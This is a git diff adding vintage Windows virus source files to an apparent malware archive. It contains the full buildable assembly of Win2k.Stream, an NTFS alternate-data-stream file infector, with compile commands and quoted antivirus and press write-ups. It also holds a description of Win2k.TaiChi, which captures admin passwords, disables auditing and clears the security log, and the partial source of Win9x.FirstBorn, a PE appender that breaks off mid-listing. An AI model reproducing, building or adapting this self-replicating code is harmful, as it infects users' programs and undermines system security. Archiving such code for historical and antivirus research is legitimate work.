+KEY_CREATE_SUB_KEY equ 0004h +KEY_ENUMERATE_SUB_KEYS equ 0008h +KEY_NOTIFY equ 0010h +KEY_CREATE_LINK equ 0020h + +KEY_READ equ (STANDARD_RIGHTS_READ or KEY_QUERY_VALUE or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY) and (not SYNCHRONIZE) +KEY_WRITE equ (STANDARD_RIGHTS_WRITE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY) and (not SYNCHRONIZE) +KEY_EXECUTE equ (KEY_READ) and (not SYNCHRONIZE) +KEY_ALL_ACCESS equ (STANDARD_RIGHTS_ALL or KEY_QUERY_VALUE or KEY_SET_VALUE or KEY_CREATE_SUB_KEY or KEY_ENUMERATE_SUB_KEYS or KEY_NOTIFY or KEY_CREATE_LINK) and (not SYNCHRONIZE) +SERVICE_KERNEL_DRIVER equ 000000001h +SERVICE_FILE_SYSTEM_DRIVER equ 000000002h +SERVICE_ADAPTER equ 000000004h +SERVICE_RECOGNIZER_DRIVER equ 000000008h +SERVICE_DRIVER equ SERVICE_KERNEL_DRIVER or SERVICE_FILE_SYSTEM_DRIVER or SERVICE_RECOGNIZER_DRIVER +SERVICE_WIN32_OWN_PROCESS equ 000000010h +SERVICE_WIN32_SHARE_PROCESS equ 000000020h +SERVICE_WIN32 equ SERVICE_WIN32_OWN_PROCESS or SERVICE_WIN32_SHARE_PROCESS +SERVICE_INTERACTIVE_PROCESS equ 000000100h +SERVICE_TYPE_ALL equ SERVICE_WIN32 or SERVICE_ADAPTER or SERVICE_DRIVER or SERVICE_INTERACTIVE_PROCESS +SERVICE_BOOT_START equ 0 +SERVICE_SYSTEM_START equ 000000001h +SERVICE_AUTO_START equ 000000002h +SERVICE_DEMAND_START equ 000000003h +SERVICE_DISABLED equ 000000004h +SERVICE_ERROR_IGNORE equ 0 +SERVICE_ERROR_NORMAL equ 000000001h +SERVICE_ERROR_SEVERE equ 000000002h +SERVICE_ERROR_CRITICAL equ 000000003h + +; ==================================================================== +@wordalign macro Adr,x + if (($-Adr)/2) NE (($-Adr+1)/2) + db x + endif + endm +@dwordalign macro Adr,x + if 4-(($-Adr) mod 4) + db 4-(($-Adr) mod 4) dup (x) + endif + endm + +f_struc struc ; win32 "searchrec" + ; structure +ff_attr dd ? +ff_time_create dd ?,? +ff_time_lastaccess dd ?,? +ff_time_lastwrite dd ?,? +ff_size_hi dd ? +ff_size dd ? + dd ?,? +ff_fullname db 260 dup (?) + + +ff_shortname db 14 dup (?) + + ends + +;GDI strucs + +WNDCLASSEX struc + cbSize dd ? + style dd ? + lpfnWndProc dd ? + cbClsExtra dd ? + cbWndExtra dd ? + hInstance dd ? + hIcon dd ? + hCursor dd ? + hbrBackground dd ? + lpszMenuName dd ? + lpszClassName dd ? + hIconSm dd ? +WNDCLASSEX ends + +MSG struc + hwnd dd ? + message dd ? + wParam dd ? + lParam dd ? + time dd ? + pt dd ? +MSG ends + +RECT struc + left dd ? + top dd ? + right dd ? + bottom dd ? +RECT ends + +PAINTSTRUCT struc + hdc dd ? + fErase dd ? + rcPaint RECT<,,,> + fRestore dd ? + fIncUpdate dd ? + rgbReserved db 32 dup(?) +PAINTSTRUCT ends + + + + + + +CW_USEDEFAULT equ 80000000h +SW_SHOWNORMAL equ 1 +COLOR_WINDOW equ 5 +IDI_APPLICATION equ 32512 +WS_OVERLAPPEDWINDOW equ 0CF0000h + +DT_TOP equ 0 +DT_LEFT equ 0 +DT_CENTER equ 1 +DT_RIGHT equ 2 +DT_VCENTER equ 4 +DT_BOTTOM equ 8 +DT_WORDBREAK equ 10h +DT_SINGLELINE equ 20h +DT_EXPANDTABS equ 40h +DT_TABSTOP equ 80h +DT_NOCLIP equ 100h +DT_EXTERNALLEADING equ 200h +DT_CALCRECT equ 400h +DT_NOPREFIX equ 800h +DT_INTERNAL equ 1000h + + +Pushad_Struc STRUC +_edi DD ? +_esi DD ? +_ebp DD ? +_esp DD ? +_ebx DD ? +_edx DD ? +_ecx DD ? +_eax DD ? +Pushad_Struc ENDS +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[WIN.INC]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MAKE.BAT]ΔΔΔ +@echo off +tasm /m /ml society.asm >nul +if not exist society.obj goto err +tlink32 /Tpe /aa /x /c society.obj,,,f:\asm\inc\import32.lib >nul +del society.obj >nul +echo Make code section r/w.! +goto end +:err +echo ********* ERROR! ********* +:end +@echo on +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[MAKE.BAT]ΔΔΔ diff --git a/LegacyWindows/Win2k.Stream.asm b/LegacyWindows/Win2k.Stream.asm new file mode 100644 index 00000000..2b6b283d --- /dev/null +++ b/LegacyWindows/Win2k.Stream.asm @@ -0,0 +1,634 @@ + +COMMENT# + ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ + ³ Win2k.Stream ³ + ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ + ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ + ³ by Benny/29A and Ratter ³ + ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ + + +Let us introduce very small and simple infector presenting how to use features +of NTFS in viruses. This virus loox like standard Petite-compressed PE file. +However, it presents the newest way of PE file infecting method. + +How the virus worx? It uses streamz, the newest feature of NTFS filesystem +and file compression, already implemented in old NTFS fs. + + + ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ + ³ Basic principles of NTFS streamz ³ + ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ + +How the file loox? Ya know that the file contains exactly the same what you can +see when you will open it (e.g. in WinCommander). NTFS, implemented by +Windows 2000, has new feature - the file can be divided to streamz. The content +what you can see when you will open the file is called Primary stream - usually +files haven't more than one stream. However, you can create NEW stream ( = new +content) in already existing file without overwritting the content. + +Example: + +addressing of primary stream -> e.g. "calc.exe" +addressing of other streamz -> : e.g. "calc.exe:stream" + +If you have NTFS, you can test it. Copy to NTFS for instance "calc.exe", and +then create new file "calc.exe:stream" and write there "blahblah". Open +"calc.exe". Whats there? Calculator ofcoz. Now open "calc.exe:stream". Whats +there? "blahblah", the new file in the old one :) + +Can you imagine how useful r streamz for virus coding? + +The virus infects file by moving the old content to the new stream and replacing +the primary stream with virus code. + +File (calc.exe) before infection: + + ΙΝCalc.exeΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» + ΊΪΔPrimary stream (visible part)ΔΏΊ + Ί³ Calculator ³Ί + ΊΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩΊ + ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ + +File (calc.exe) after infection: + + ΙΝCalc.exeΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝ» + ΊΪΔPrimary stream (calc.exe)ΔΏΪΔNext stream (calc.exe:STR)ΔΏ Ί + Ί³ Virus ³³ Calculator ³ Ί + ΊΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ Ί + ΘΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΝΌ + +Simple and efficent, ain't it? + + + ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ + ³ Details of virus ³ + ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ + +* The virus infects all EXE files in actual directory. + +* The virus uses as already-infected mark file compression. All infected + files are compressed by NTFS and virus then does not infect already + compressed files. Well, almost all files after infection r smaller than + before, so user won't recognize virus by checking free disk space :) + +* If user will copy the infected file to non-NTFS partition (in this case + only primary stream is copied), the host program will be destroyed and + instead of running host program virus will show message box. That can + be also called as payload :P + +* The virus is very small, exactly 3628 bytes, becoz it's compressed by + Petite 2.1 PE compression utility (http://www.icl.ndirect.co.uk/petite/). + +* The disinfection is very easy - just copy the content of :STR to + and delete :STR. If you want to create sample of infected + file, then just copy the virus to some file and copy any program (host + program) to :STR. Thats all! However, AVerz have to rebuild their + search engine to remove this virus, becoz until now, they had no fucking + idea what are streamz :) + +* This virus was coded in Czech Republic by Benny/29A and Ratter, on our + common VX meeting at Ratter's city... we just coded it to show that + Windows 2000 is just another OS designed for viruses... it really is :) + +* We would like to thank GriYo for pointing us to NTFS new features. + The fame is also yourz, friend! + + + ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ + ³ In the media ³ + ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ + + + AVP's description: + ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ + +This is the first known Windows virus using the "stream companion" infection +method. That method is based on an NTFS feature that allows to create multiple +data streams associated with a file. + +*NTFS Streams* +--------------- + +Each file contains at least one default data stream that is accessed just by +the file name. Each file may also contain additional stream(s) that can be +accessed by their personal names (filename:streamname). + +The default file stream is the file body itself (in pre-NTFS terms). For +instance, when an EXE file is executed the program is read from the default +file stream; when a document is opened, its content is also read from the +default stream. + +Additional file streams may contain any data. The streams cannot be accessed or +modified without reference to the file. When the file is deleted, its streams +are deleted as well; if the file is renamed, the streams follow its new name. + +In the Windows package there is no standard tool to view/edit file streams. To +"manually" view file streams you need to use special utilities, for instance +the FAR utility with the file steams support plug-in (Ctrl-PgDn displays file +streams for selected file). + +*Virus Details* +---------------- + +The virus itself is a Windows application (PE EXE file) compressed using the +Petite PE EXE file compressor and is about 4K in size. When run it infects all +EXE files in the current directory and then returns control to the host file. +If any error occurs, the virus displays the message: + + Win2k.Stream by Benny/29A & Ratter + This cell has been infected by [Win2k.Stream] virus! + +While infecting a file the virus creates a new stream associated with the victim +file. That stream has the name "STR", i.e. the complete stream name is +"FileName:STR". The virus then moves the victim file body to the STR stream +(default stream, see above) and then overwrites the victim file body (default +stream) with its (virus) code. + +As a result, when an infected file is executed Windows reads the default stream +(which is overwritten by virus code) and executes it. Also, Windows reports the +same file size for all infected files - that is the virus length. + +To release control to the host program the virus just creates a new process by +accessing the original file program using the name "FileName:STR". + +That infection method should work on any NTFS system, but the virus checks the +system version and runs only under Win2000. + + + AVP's press release: + ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ + +*A New Generation of Windows 2000 Viruses is Streaming Towards PC Users* +------------------------------------------------------------------------ + +Moscow, Russia, September 4, 2000 – Kaspersky Lab announces the discovery of +W2K.Stream virus, which represents a new generation of malicious programs for +Windows 2000. This virus uses a new breakthrough technology based on the +"Stream Companion" method for self-embedding into the NTFS file system. + +The virus originates from the Czech Republic and was created at the end of +August by the hackers going by the pseudonyms of Benny and Ratter. To date, +Kaspersky Lab has not registered any infections resulting from this virus; +however, its working capacity and ability for existence "in-the-wild" are +unchallenged. + +"Certainly, this virus begins a new era in computer virus creation," said +Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab. "The ’Stream +Companion’ technology the virus uses to plant itself into files makes its +detection and disinfection extremely difficult to complete.” + +Unlike previously known methods of file infection (adding the virus body at +beginning, ending or any other part of a host file), the "Stream" virus +exploits the NTFS file system (Windows NT/2000) feature, which allows multiple +data streams. For instance, in Windows 95/98 (FAT) files, there is only one +data stream – the program code itself. Windows NT/2000 (NTFS) enables users +to create any number of data streams within the file: independent executable +program modules, as well as various service streams (file access rights, +encryption data, processing time etc.). This makes NTFS files very flexible, +allowing for the creation of user-defined data streams aimed at completing +specific tasks. + +"Stream" is the first known virus that uses the feature of creating multiple +data streams for infecting files of the NTFS file system (see picture 1). To +complete this, the virus creates an additional data stream named "STR" and +moves the original content of the host program there. Then, it replaces the +main data stream with the virus code. As a result, when the infected program +is run, the virus takes control, completes the replicating procedure and then +passes control to the host program. + +*"Stream" file infection procedure* +------------------------------------ + +File before infection File after infection + +ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ +³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ +³°°°°°°°°°°°°°°°°°°°³ ³°°° main stream°°°°³ +³°°°°°°°°°°°°°°°°°°°³ ³°°° virus body°°°°°³ +³°°°°main stream°°°°³ ³°°°°°°°°°°°°°°°°°°°³ +³°°°°°°°°°°°°°°°°°°°³ ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +³°°°°program body°°°³ ³°°°°°°°°°°°°°°°°°°°³ +³°°°°°°°°°°°°°°°°°°°³ ³°additional stream°³ +³°°°°°°°°°°°°°°°°°°°³ ³°°°program body°°°°³ +³°°°°°°°°°°°°°°°°°°°³ ³°°°°°°°°°°°°°°°°°°°³ +ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ ΓΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ΄ +³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³ +³±±service streams±±³ ³±±service streams±±³ +³±±±±±±±±±±±±±±±±±±±³ ³±±±±±±±±±±±±±±±±±±±³ +ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ + +"By default, anti-virus programs check only the main data stream. There will be +no problems protecting users from this particular virus," Eugene Kaspersky +continues. "However, the viruses can move to additional data streams. In this +case, many anti-virus products will become obsolete, and their vendors will be +forced to urgently redesign their anti-virus engines." + + + In MSNBC's news: + ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ + +*New trick can hide computer viruses* +*But experts question danger posed by ‘Stream’ technology* +----------------------------------------------------------- + +Sept. 6 — A new kind of computer virus has been released, but security experts +are in disagreement over just how menacing it is. The virus demonstrates a +technique that future writers can use to hide their malicious software from +most current antivirus scanners. But some antivirus companies are playing down +the threat. + +THE VIRUS, CALLED W2K.STREAM, poses little threat — it was written as a +relatively benign “proof of concept.” But, according to a source who requested +anonymity, it was posted on several virus writer Web sites over Labor Day +weekend — making copycats possible. + +The virus takes advantage of a little-used feature included in Windows 2000 and +older Windows NT systems that allows programs to be split into pieces called +streams. Generally, the body of a program resides in the main stream. But other +streams can be created to store information related to what’s in the main +stream. Joel Scambray, author of “Hacking Exposed,” described these additional +streams as “Post-it notes” attached to the main file. + +The problem is that antivirus programs only examine the main stream. W2K.Stream +demonstrates a programmer’s ability to create an additional stream and hide +malicious code there. + +“Certainly, this virus begins a new era in computer virus creation,” said +Eugene Kaspersky, Head of Anti-Virus Research at Kaspersky Lab, in a press +release. “The ‘Stream Companion’ technology the virus uses to plant itself into +files makes its detection and disinfection extremely difficult to complete.” + +*THIS BUG ISN’T DANGEROUS* +--------------------------- + +No W2K.stream infections have been reported, and experts don’t believe the +virus is “in the wild” — circulating on the Internet — yet. At any rate, this +virus actually makes things easy for antivirus companies. If a user is +infected, the program creates an alternate stream and places the legitimate +file in this alternate location; the virus replaces it as the main stream. That +makes detection by current antivirus products easy. But future viruses could +do just the opposite, evading current antivirus products. + +One antivirus researcher who requested anonymity called release of the bug +“somewhat akin to the first macro virus.” He added that reengineering antivirus +software to scan for multiple streams would be a complicated effort. +“In this case, many anti-virus products will become obsolete, and their vendors +will be forced to urgently redesign their anti-virus engines,” Kaspersky said. + +*AN OLD ISSUE* +--------------- + +There is nothing new about the potential of exploiting the multiple stream +issue; Scambray hints at the problem in the book “Hacking Exposed,” and +described it even more explicitly in a 1998 Infoworld.com article. + +The SANS Institute, a group of security researchers, issued an “alert” +criticizing antivirus companies for not updating their products to scan the +contents of any file stream earlier. + +“We found that the scanners were incapable of identifying viruses stored within +an alternate data stream,” the report said. “For example if you create the file +MyResume.doc:ILOVEYOU.vbs and store the contents of the I Love You virus within +the alternate data stream file, none of the tested virus scanners were capable +of finding the virus during a complete disk scan.” + +But some antivirus companies described the threat as minimal because the +alternate stream trick only hides the bug while it’s stored on a victim’s +computer. Pirkka Palomaki, Director of Product Marketing for F-Secure Corp., +said for the virus to actually run, it has to come out of hiding and load into +main memory. + +“It would be detected as it tried to activate,” Palomaki said. “But this +signifies importance of real-time protection.” He added the virus would still +have to find its way onto a victim’s computer; and that victim would have to +be tricked into installing the virus using one of the traditional methods, +such as clicking on an infected e-mail attachment. + +“It could increase the ability to for scanners to miss something,” said Pat +Nolan, virus researcher at McAfee Corp. “But we’re on top of it. If there is +a vulnerability, it will be short-lived.” + + + ΪΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΏ + ³ How to compile it? ³ + ΐΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΩ + +Use Petite version 2.1 (http://www.icl.ndirect.co.uk/petite/). + +tasm32 /ml /m9 /q stream +tlink32 -Tpe -c -x -aa stream,,,import32 +pewrsec stream.exe +petite -9 -e2 -v1 -p1 -y -b0 -r* stream.exe + + + +And here comes the virus source... +# + + +.586p +.model flat,stdcall + + +include win32api.inc ;include filez +include useful.inc + +extrn ExitProcess:PROC ;used APIz +extrn VirtualFree:PROC +extrn FindFirstFileA:PROC +extrn FindNextFileA:PROC +extrn FindClose:PROC +extrn WinExec:PROC +extrn GetCommandLineA:PROC +extrn GetModuleFileNameA:PROC +extrn DeleteFileA:PROC +extrn ReadFile:PROC +extrn CopyFileA:PROC +extrn WriteFile:PROC +extrn CreateFileA:PROC +extrn CloseHandle:PROC +extrn MessageBoxA:PROC +extrn GetFileSize:PROC +extrn VirtualAlloc:PROC +extrn DeviceIoControl:PROC +extrn GetFileAttributesA:PROC +extrn GetTempFileNameA:PROC +extrn CreateProcessA:PROC +extrn GetVersion:PROC + + +FSCTL_SET_COMPRESSION equ 9 shl 16 or 3 shl 14 or 16 shl 2 + + ;compression flag +STARTUPINFO STRUCT ;used by CreateProcessA API + cb DWORD ? + lpReserved DWORD ? + lpDesktop DWORD ? + lpTitle DWORD ? + dwX DWORD ? + dwY DWORD ? + dwXSize DWORD ? + dwYSize DWORD ? + dwXCountChars DWORD ? + dwYCountChars DWORD ? + dwFillAttribute DWORD ? + dwFlags DWORD ? + wShowWindow WORD ? + cbReserved2 WORD ? + lpReserved2 DWORD ? + hStdInput DWORD ? + hStdOutput DWORD ? + hStdError DWORD ? +STARTUPINFO ENDS +PROCESS_INFORMATION STRUCT + hProcess DWORD ? + hThread DWORD ? + dwProcessId DWORD ? + dwThreadId DWORD ? +PROCESS_INFORMATION ENDS + + +@pushvar macro variable, empty ;macro for pushing variablez + local next_instr + ifnb + %out too much arguments in macro '@pushvar' + .err + endif + call next_instr + variable +next_instr: + endm + + +.data + + extExe db '*.exe',0 ;search mask + + fHandle dd ? ;file search handle + file_name db MAX_PATH dup(?) ;actual program name + db MAX_PATH dup(?) + file_name2 db MAX_PATH dup(?) ;temprorary file + db 4 dup (?) + WFD WIN32_FIND_DATA ? ;win32 find data + proc_info PROCESS_INFORMATION <> ;used by CreateProcessA + startup_info STARTUPINFO <> ;... +.code +Start: ;start of virus + call GetVersion ;get OS version + cmp al,5 ;5 = Win2000 + jnz msgBox ;quit if not Win2000 + + mov edi,offset file_name + push MAX_PATH + push edi + push 0 + call GetModuleFileNameA ;get path+filename of actual + ;program + push offset WFD + push offset extExe + call FindFirstFileA ;find first file to infect + test eax,eax + jz end_host + mov [fHandle],eax ;save handle + + +search_loop: + call infect ;try to infect file + + push offset WFD + push dword ptr [fHandle] + call FindNextFileA ;try to find next file + test eax,eax + jne search_loop ;and infect it + + push dword ptr [fHandle] + call FindClose ;close file search handle + +end_host: + mov esi,offset file_name ;get our filename + push esi + @endsz + dec esi + mov edi,esi + mov eax,"RTS:" ;append there :"STR" stream + stosd ;name + pop esi + + call GetCommandLineA ;get command line + xchg eax,edi ;to EDI + +;esi - app name +;edi - cmd line + xor eax,eax + push offset proc_info + push offset startup_info + push eax + push eax + push eax + push eax + push eax + push eax + push edi + push esi + call CreateProcessA ;jump to host code + xchg eax,ecx + jecxz msgBox ;if error, show message box + +end_app: + push 0 + call ExitProcess ;exit + +msgBox: push 1000h ;show some lame msg box :) + @pushsz "Win2k.Stream by Benny/29A & Ratter" ;copyleft :] + @pushsz "This cell has been infected by [Win2k.Stream] virus!" + push 0 ;with name of virus and authorz + call MessageBoxA + jmp end_app + + + +infect: push offset [WFD.WFD_szFileName] + call GetFileAttributesA ;check if the file is NTFS + test eax,800h ;compressed = already infected + jz next_infect + ret ;quit then + +next_infect: + push offset [WFD.WFD_szFileName] + mov byte ptr [flagz],OPEN_EXISTING + call Create_File ;open found program + jz infect_end + + xor eax,eax + push eax + @pushvar
+ push eax + push eax + push 4 + @pushvar
;default compression + push FSCTL_SET_COMPRESSION + push ebx ;NTFS compress it = + call DeviceIoControl ;mark as already infected + ; = and save disk space :) + push ebx + call CloseHandle ;close file handle + + mov esi,offset file_name2 + push esi + push 0 + @pushsz "str" + @pushsz "." + call GetTempFileNameA ;create name for temp file + test eax,eax + jz infect_end + + mov edi,offset [WFD.WFD_szFileName] + push 0 + push esi + push edi + call CopyFileA ;copy there victim program + test eax,eax + jz infect_end + + + push 0 + push edi + push offset file_name + call CopyFileA ;copy ourself to victim program + + push esi + + mov esi,edi + @endsz + xchg esi,edi + dec edi + mov eax,"RTS:" ;append :"STR" stream to + stosd ;victim program filename + xor al,al + stosb + + call Create_File ;open victim file + jz infect_end + + push 0 + push ebx + call GetFileSize ;get its size + xchg eax,edi + + push PAGE_READWRITE + push MEM_COMMIT or MEM_RESERVE + push edi + push 0 + call VirtualAlloc ;allocate enough memory + test eax,eax ;for file content + jz infect_end_handle + + xchg eax,esi + + xor eax,eax + push eax + @pushvar + push edi + push esi + push ebx + call ReadFile ;read file content to + test eax,eax ;allocated memory + jz infect_end_handle + + push ebx + call CloseHandle ;close its file handle + + push offset file_name2 + call DeleteFileA ;delete temporary file + + mov byte ptr [flagz],CREATE_ALWAYS + push offset [WFD.WFD_szFileName] + call Create_File ;open stream + jz infect_end_dealloc + + push 0 + mov ecx,offset file_size + push ecx + push dword ptr [ecx] + push esi + push ebx + call WriteFile ;write there victim program + test eax,eax + jz infect_end_handle + +infect_end_handle: + push ebx + call CloseHandle ;close its file handle +infect_end_dealloc: + push MEM_DECOMMIT + push dword ptr [file_size] + push esi + call VirtualFree ;free allocated memory + push MEM_RELEASE + push 0 + push esi + call VirtualFree ;release reserved part of mem +infect_end: + ret + +; [esp+4] - file_name +Create_File: ;proc for opening file + xor eax,eax + push eax + push eax + db 6ah +flagz db OPEN_EXISTING ;variable file open flag + push eax + push eax + push GENERIC_READ or GENERIC_WRITE + push dword ptr [esp+1ch] + call CreateFileA ;open file + xchg eax,ebx ;handle to EBX + inc ebx ;is EBX -1? + lahf ;store flags + dec ebx ;correct EBX + sahf ;restore flags + retn 4 ;quit from proc + +end Start ;end of virus diff --git a/LegacyWindows/Win2k.TaiChi.asm b/LegacyWindows/Win2k.TaiChi.asm new file mode 100644 index 00000000..0da658eb --- /dev/null +++ b/LegacyWindows/Win2k.TaiChi.asm @@ -0,0 +1,31 @@ + +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[Description.TXT]ΔΔΔ +Win2k.TaiChi by Ratter/29A release #1 + +This virus has some special features which I would like to list here: + - getting kenel base from PEB + - infecting winlogon via which it disables SFP, captures admins + passwords and later uses them when logged in as normal user to + impersonate admin and working under admin privileges + - once runned as admin adds needed privileges to Everyone + - disables auditing, clears security event log + - uses its own routines for infecting PE exe files on NTFS volumes + (ie it accesses NTFS structures to locate and access the file, + bypassing security and via this you can even modify files that are + normally unmodifiable) + - for this it uses emulation of memory mapped files using SEH + - because a proof of concept virus it infects one file in directory + - everything prepared for using procedure encryption and running length + encryption using SEH (routine seh_decode) however not used in this version + - it has a payload: installs own bootvid.dll which disables security (via + SeAccessCheck patching) via patching the NT kernel runtime and displays + 29A logo while booting Windows + +Todo: + - emulation engine + - add procedure encryption and running line encryption + - more heavily testing under WinXP and possibly adapting +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[Description.TXT]ΔΔΔ +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[Editor]ΔΔΔ +Due the complexity of the source, it has been placed in Binaries folder. +ΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔΔ[Editor]ΔΔΔ diff --git a/LegacyWindows/Win32.FirstBorn.txt b/LegacyWindows/Win32.FirstBorn.txt new file mode 100644 index 00000000..cafb5aeb --- /dev/null +++ b/LegacyWindows/Win32.FirstBorn.txt @@ -0,0 +1,542 @@ +; +; [ Win9x.FirstBorn Vorgon ] +; [ 2560 bytes Target - PE ] +; [ 08/10/02 Made in Canada ] +; +; +; +; +; [ Introduction ] +; +; After three or four years of programming in asm i decided i was ready for +; somthing more challenging. Virus programming had always interested me so +; i went searching for a group that would teach me the basics. I found the +; group iKX, and T00FiC showed me how to make my first virus which i call +; FirstBorn. Its a sucky virus and would never survive in the wild, i only +; made it for learning purposes. +; +; [ The Infection ] +; +; FirstBorn is a simple PE infector. It only works on Win9x because i could +; not get the exception handling part of the Kernel finder working. So it +; just assumes the kernel is located at 0BFF70000. I will have this function +; working in my next virus and then it can infect NT and 2k. Below is +; a break down of what the virus does: +; +; - Get the delta offset and save the starting location of the virus +; - Save registers incase the host program needs them +; - Use the GetFunctionAddress procedure to get the kernel32 api function +; addreses i need. +; - Call the FindHostFile procedure to find a valid PE file to infect. +; - Call the GetHeader procedure which reads the PE header into memory +; - Call the AddCodeToHost procedure which does many things: +; - Writes this program in memory to the end of the host file +; - Updates the last section header to include all the data +; up to the EOF, Updates its virtual size, and makes it +; Readable/Writable/Executable +; - Updates the program image size +; - Sets the entry point to the virus code +; - Adds a signature to location 79h to stop another infection +; - Call PutHeader procedure which writes the updated PE Header to the host +; - Restore registers for the host program +; - Returns control to the host program +; +; +; [ Assembling ] +; +; tasm32 /ml 1born +; tlink32 -x /Tpe /c 1born,1born +; editbin /SECTION:CODE,rwe 1born.exe +; +; + +.386p +.model flat, stdcall +extrn ExitProcess : PROC +.DATA + dd 0 +.CODE +Main: + +;---------------------------------------------------------------------------- +; Get delta offset and the start location of the virus in memory +;---------------------------------------------------------------------------- + + push ebp + call GetDeltaPointer +GetDeltaPointer: + pop ebp + sub ebp, offset GetDeltaPointer + + Call SaveRegisters + + mov [ebp+StartOfCode], ebp + lea eax, GetDeltaPointer + add [ebp+StartOfCode], eax + sub [ebp+StartOfCode], 6 ;get the start address of virus in memory + + mov eax, [ebp+HEP2] ;Set the return to host address + mov [ebp+HostEntryPoint], eax + +;---------------------------------------------------------------------------- +; Virus Data +;---------------------------------------------------------------------------- + +jmp JumpOverData + StartOfCode dd 0 + VirusSignature dd 0DEADBEEFh + + Handle dd 0 + NumberOfBytesRead dd 0 + + PE_Header db 248 dup(0) + LocationOfHeader dd 0 + + SearchString db 'c:\windows\*.EXE',0 + FindHandle dd 0 + +Win32_Find_Data: + FileAttributes dd 0 + CreateTime dq 0 + LastAccessTime dq 0 + LastWriteTime dq 0 + FileSizeHigh dd 0 + FileSizeLow dd 0 + Reserved0 dd 0 + Reserved1 dd 0 + FullFileName db 260 dup(0) + AlternateFileName db 14 dup(0) + +SectionHeader: + ANSI_Name db 8 dup(0) + VirtualSize dd 0 + VirtualAddress dd 0 + SizeOfRawData dd 0 + PointerToRawData dd 0 + PointerToRelocs dd 0 + PointerToLinNums dd 0 + NumberOfRelocs dw 0 + NumberOfLineNums dw 0 + Characteristics dd 0 + + Kernel32Address dd 0BFF70000h + + szCreateFileA db 'CreateFileA',0 